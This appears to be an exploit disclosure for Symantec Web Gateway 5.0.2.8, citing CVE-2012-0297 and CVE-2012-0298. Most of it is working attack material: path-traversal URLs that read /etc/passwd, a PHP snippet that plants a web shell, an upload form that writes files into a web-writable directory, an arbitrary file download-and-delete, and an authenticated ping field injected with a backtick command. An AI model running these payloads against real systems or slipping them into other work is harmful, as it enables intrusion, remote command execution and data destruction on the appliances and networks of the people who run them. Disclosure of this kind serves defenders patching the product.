57 lines
No EOL
2.3 KiB
Text
57 lines
No EOL
2.3 KiB
Text
Software: Symantec Web Gateway
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Current Software Version: 5.0.2.8
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Product homepage: www.symantec.com
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Author: S2 Crew [Hungary]
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CVE: CVE-2012-0297, CVE-2012-0298, ???
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File include:
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https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd
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File include and OS command execution:
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http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd
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You can execute OS commands just include the error_log:
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/usr/local/apache2/logs/
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-rw-r--r-- 1 root root 5925 Nov 15 07:25 access_log
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-rw-r--r-- 1 root root 3460 Nov 15 07:21 error_log
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Make a connection to port 80:
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<?php
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$f = fopen('/var/www/html/spywall/cleaner/cmd.php','w');
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$cmd = "<?php system(\$_GET['cmd']); ?>";
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fputs($f,$cmd);
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fclose($f);
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print "Shell creation done<br>";
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?>
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Arbitary file download and delete:
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https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog
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d parameter: the complete filename
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After the download process application removes the original file with root access! :)
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Command execution methods:
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1.Method
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Download and delete the /var/www/html/ciu/.htaccess file.
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After it you can access the ciu interface on web.
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There is an upload script: /ciu/uploadFile.php
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User can control the filename and the upload location:
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$_FILES['uploadFile'];
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$_POST['uploadLocation'];
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2.Method
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<form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data">
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<input type="file" name="uploadFile">
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<input type="text" name="action" value="upload">
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<input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/">
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<input type="hidden" name="configuration" value="test">
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<input type="submit" value="upload!">
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</form>
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The "/var/www/html/spywall/cleaner" is writeable by www-data.
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Command execution after authentication:
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http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove)
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From the modified POST message:
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Content-Disposition: form-data; name="pingaddress"
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127.0.0.1`whoami>/tmp/1234.txt` |